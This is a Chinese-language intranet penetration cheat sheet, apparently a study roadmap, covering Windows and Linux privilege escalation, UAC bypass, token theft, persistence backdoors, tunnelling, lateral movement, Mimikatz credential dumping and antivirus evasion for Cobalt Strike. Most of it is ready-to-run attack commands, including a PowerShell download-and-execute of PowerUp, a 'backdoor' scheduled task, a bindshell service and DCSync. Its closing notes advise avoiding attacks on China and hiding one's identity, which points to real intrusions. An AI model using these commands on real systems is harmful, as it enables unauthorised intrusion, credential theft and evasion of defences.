内网学习路线整理
字数 2309 2025-08-23 18:31:09

Windows & Linux 内网渗透与提权技术全面指南

一、Windows提权技术

1. Windows提权方法分类

  • 系统内核溢出漏洞提权
  • 数据库提权
  • 错误的系统配置提权
  • 组策略首选项提权
  • WEB中间件漏洞提权
  • DLL劫持提权
  • 滥用高危权限令牌提权
  • 第三方软件/服务提权

2. 补丁信息收集

systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"

3. MSF提权模块

post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

4. 提权工具

  • Windows-Exploit-Suggester: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • Sherlock脚本:
Import-Module C:\Sherlock.ps1
Find-AllVulns
  • Empire框架:
usemodule privesc/powerup/allchecks
execute

5. 常用提权资源

  • https://github.com/SecWiki/windows-kernel-exploits
  • https://bugs.hacking8.com/tiquan/
  • https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
  • https://www.exploit-db.com/
  • https://i.hacking8.com/tiquan/

6. 基础提权命令

systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
hostname
set
net user
tasklist /svc | find "TermService"
netstat -ano | find "3389"
wmic os get caption
wmic product get name,version

二、错误配置提权

1. PowerUp工具

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

2. MSF模块

run exploit/windows/local/service_permissions

3. 手工检测

icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"
accesschk.exe -dqv "D:\test" -accepteula

4. 服务权限检测

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名

5. 服务提权示例

sc config VMTools binPath= "net user test1 P@ssw0rd /add"
sc qc VMTools
sc stop VMTools
sc start VMTools

三、Bypass UAC技术

1. MSF模块

exploit/windows/local/ask
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_fodhelper
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_comhijack

2. PowerShell方法

Invoke-PsUACme

3. Empire模块

usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

四、令牌窃取技术

1. MSF模块

use incognito
list_tokens -u
impersonate_token "令牌名"

2. 令牌类型

  • Delegation Token: 授权令牌,支持交互式登录
  • Impresonation Token: 模拟令牌,非交互会话

五、土豆系列提权

1. 工具资源

  • 烂土豆(RottenPotatoNG): https://github.com/breenmachine/RottenPotatoNG
  • 甜土豆(SweetPotato): https://github.com/CCob/SweetPotato

2. 使用示例

Sweetpotato.exe -l 8888 -a "whoami"

3. 影响版本

Windows 7/8.1/10, Windows Server 2008/2012等未打补丁系统

六、Psexec提权

PsExec.exe -s -i -d cmd

七、Linux提权技术

1. 常见提权方式

  • 计划任务提权(配合Redis)
  • 内核提权(上通杀)
  • Mysql数据库提权(UDF)
  • 环境变量提权(root权限运行的C文件)
  • 第三方服务提权(NFS服务/phpmyadmin等)
  • docker提权
  • ssh密钥提权

2. 提权工具

  • LinEnum.sh: https://github.com/rebootuser/LinEnum
    ./LinEnum.sh
    
  • linux-exploit-suggester.sh: https://github.com/mzet-/linux-exploit-suggester
    ./linux-exploit-suggester.sh
    
  • Linuxprivchecker.py: https://github.com/sleventyeleven/linuxprivchecker
    python Linuxprivchecker.py
    

八、权限维持技术

1. Windows权限维持

  • 黄金票据/白银票据
  • Sid History后门
  • DSRM后门
  • 委派后门
  • AdminSDHolder后门

2. 参考资源

https://blog.csdn.net/weixin_53912233/article/details/131193341

九、内网代理技术

1. reGeorgSocksProxy

python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://192.168.1.1/tunnel.nosocket.php

2. MSF端口转发

portfwd add -l 5555 -p 3389 -r 本地IP地址
rdesktop 127.0.0.1:5555

3. lcx工具

lcx.exe -slave 1.1.1.1 9999 127.0.0.1 3389

4. ew工具

# VPS执行
./ew_for_linux64 -s rcsocks -l 1080 -e 9999

# 目标执行
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 11000

十、协议与认证

1. NTLM认证协议

  • 基于NTLM hash
  • Windows本地登陆密码由LM hash和NTLM hash组成
  • 存储在SAM文件中

2. Kerberos认证协议

  1. 客户端向KDC中的AS请求
  2. AS响应并返回TGT票据
  3. 客户端用TGT向TGS请求
  4. TGS响应并返回ST票据
  5. 客户端用ST向服务器请求
  6. 服务器响应完成认证

十一、横向移动技术

1. IPC$连接

net use \\IP\ipc$ "password" /user:"username"
dir \\IP\c$
copy C:\a.exe \\IP\C$

2. at命令执行

net time \\IP
copy shell.exe \\IP\C$
at \\IP 18:53:00 C:\shell.exe

3. schtasks命令

schtasks /create /s IP地址 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
schtasks /run /s IP地址 /i /tn backdoor

4. SC命令

sc \\[主机名/IP] create [servicename] binpath= "[path]"
sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

十二、经典漏洞利用

1. 常见漏洞

  • MS14-068
  • zerologon
  • 永恒之蓝
  • printnightmare

2. Kerberoast攻击

  1. 攻击者用域用户密码认证获得TGT
  2. 使用TGT针对指定SPN请求KDC验证
  3. 获取服务Hash加密的ST
  4. 离线爆破ST

3. AS-REP Roasting攻击

  1. 对不要求Kerberos预身份验证的用户发送AS_REQ
  2. 域控返回TGT票据和加密的Session-key
  3. 重新组合AS_REP内容
  4. 离线爆破获取用户Hash

十三、信息收集

1. winrs命令

winrs -r:http://IP:5985 -u:.\administrator -p:admin123 "whoami"
winrs -r:http://IP:5985 -u:.\administrator -p:admin123 cmd

2. PowerShell命令

Invoke-Command -ComputerName server01 -Credential domain01\user01 -ScriptBlock {Get-Culture}
Enter-PSSession -ComputerName 192.168.100.155 -Credential administrator

十四、Mimikatz使用

1. 基础命令

mimikatz # log
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

2. sekurlsa模块

sekurlsa::logonpasswords
sekurlsa::msv
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
sekurlsa::tickets /export

3. kerberos模块

kerberos::list
kerberos::tgt
kerberos::purge
kerberos::ptc 票据路径

4. lsadump模块

lsadump::dcsync /domain:domain.com /user:root
lsadump::lsa /patch
lsadump::sam /sam:sam.hive /system:system.hive

十五、免杀技术

1. 常用方法

  • 加壳
  • shellcode混淆
  • 白加黑
  • syscall
  • shellcode分离
  • 小众语言

2. 要求

  • 通过360、火绒杀软检测
  • 重点研究Cobalt Strike免杀技巧
  • 修改Cobalt Strike实现上线

十六、Windows API开发

1. 开发方向

  • 提权工具
  • 权限维持工具
  • 横向移动工具

2. 开发语言

  • C#
  • C++
  • Powershell

十七、其他技术

1. 隐藏C2服务器

  • 域前置
  • 更改sum

2. 从Ntds.dit导出域内密码

3. 实战注意事项

  • 避免攻击中国、港澳台地区
  • 不泄露个人信息
  • 可在邮件内部发布渗透文章
Windows & Linux 内网渗透与提权技术全面指南 一、Windows提权技术 1. Windows提权方法分类 系统内核溢出漏洞提权 数据库提权 错误的系统配置提权 组策略首选项提权 WEB中间件漏洞提权 DLL劫持提权 滥用高危权限令牌提权 第三方软件/服务提权 2. 补丁信息收集 3. MSF提权模块 4. 提权工具 Windows-Exploit-Suggester : https://github.com/AonCyberLabs/Windows-Exploit-Suggester Sherlock脚本 : Empire框架 : 5. 常用提权资源 https://github.com/SecWiki/windows-kernel-exploits https://bugs.hacking8.com/tiquan/ https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation https://www.exploit-db.com/ https://i.hacking8.com/tiquan/ 6. 基础提权命令 二、错误配置提权 1. PowerUp工具 2. MSF模块 3. 手工检测 4. 服务权限检测 5. 服务提权示例 三、Bypass UAC技术 1. MSF模块 2. PowerShell方法 3. Empire模块 四、令牌窃取技术 1. MSF模块 2. 令牌类型 Delegation Token: 授权令牌,支持交互式登录 Impresonation Token: 模拟令牌,非交互会话 五、土豆系列提权 1. 工具资源 烂土豆(RottenPotatoNG): https://github.com/breenmachine/RottenPotatoNG 甜土豆(SweetPotato): https://github.com/CCob/SweetPotato 2. 使用示例 3. 影响版本 Windows 7/8.1/10, Windows Server 2008/2012等未打补丁系统 六、Psexec提权 七、Linux提权技术 1. 常见提权方式 计划任务提权(配合Redis) 内核提权(上通杀) Mysql数据库提权(UDF) 环境变量提权(root权限运行的C文件) 第三方服务提权(NFS服务/phpmyadmin等) docker提权 ssh密钥提权 2. 提权工具 LinEnum.sh : https://github.com/rebootuser/LinEnum linux-exploit-suggester.sh : https://github.com/mzet-/linux-exploit-suggester Linuxprivchecker.py : https://github.com/sleventyeleven/linuxprivchecker 八、权限维持技术 1. Windows权限维持 黄金票据/白银票据 Sid History后门 DSRM后门 委派后门 AdminSDHolder后门 2. 参考资源 https://blog.csdn.net/weixin_ 53912233/article/details/131193341 九、内网代理技术 1. reGeorgSocksProxy 2. MSF端口转发 3. lcx工具 4. ew工具 十、协议与认证 1. NTLM认证协议 基于NTLM hash Windows本地登陆密码由LM hash和NTLM hash组成 存储在SAM文件中 2. Kerberos认证协议 客户端向KDC中的AS请求 AS响应并返回TGT票据 客户端用TGT向TGS请求 TGS响应并返回ST票据 客户端用ST向服务器请求 服务器响应完成认证 十一、横向移动技术 1. IPC$连接 2. at命令执行 3. schtasks命令 4. SC命令 十二、经典漏洞利用 1. 常见漏洞 MS14-068 zerologon 永恒之蓝 printnightmare 2. Kerberoast攻击 攻击者用域用户密码认证获得TGT 使用TGT针对指定SPN请求KDC验证 获取服务Hash加密的ST 离线爆破ST 3. AS-REP Roasting攻击 对不要求Kerberos预身份验证的用户发送AS_ REQ 域控返回TGT票据和加密的Session-key 重新组合AS_ REP内容 离线爆破获取用户Hash 十三、信息收集 1. winrs命令 2. PowerShell命令 十四、Mimikatz使用 1. 基础命令 2. sekurlsa模块 3. kerberos模块 4. lsadump模块 十五、免杀技术 1. 常用方法 加壳 shellcode混淆 白加黑 syscall shellcode分离 小众语言 2. 要求 通过360、火绒杀软检测 重点研究Cobalt Strike免杀技巧 修改Cobalt Strike实现上线 十六、Windows API开发 1. 开发方向 提权工具 权限维持工具 横向移动工具 2. 开发语言 C# C++ Powershell 十七、其他技术 1. 隐藏C2服务器 域前置 更改sum 2. 从Ntds.dit导出域内密码 3. 实战注意事项 避免攻击中国、港澳台地区 不泄露个人信息 可在邮件内部发布渗透文章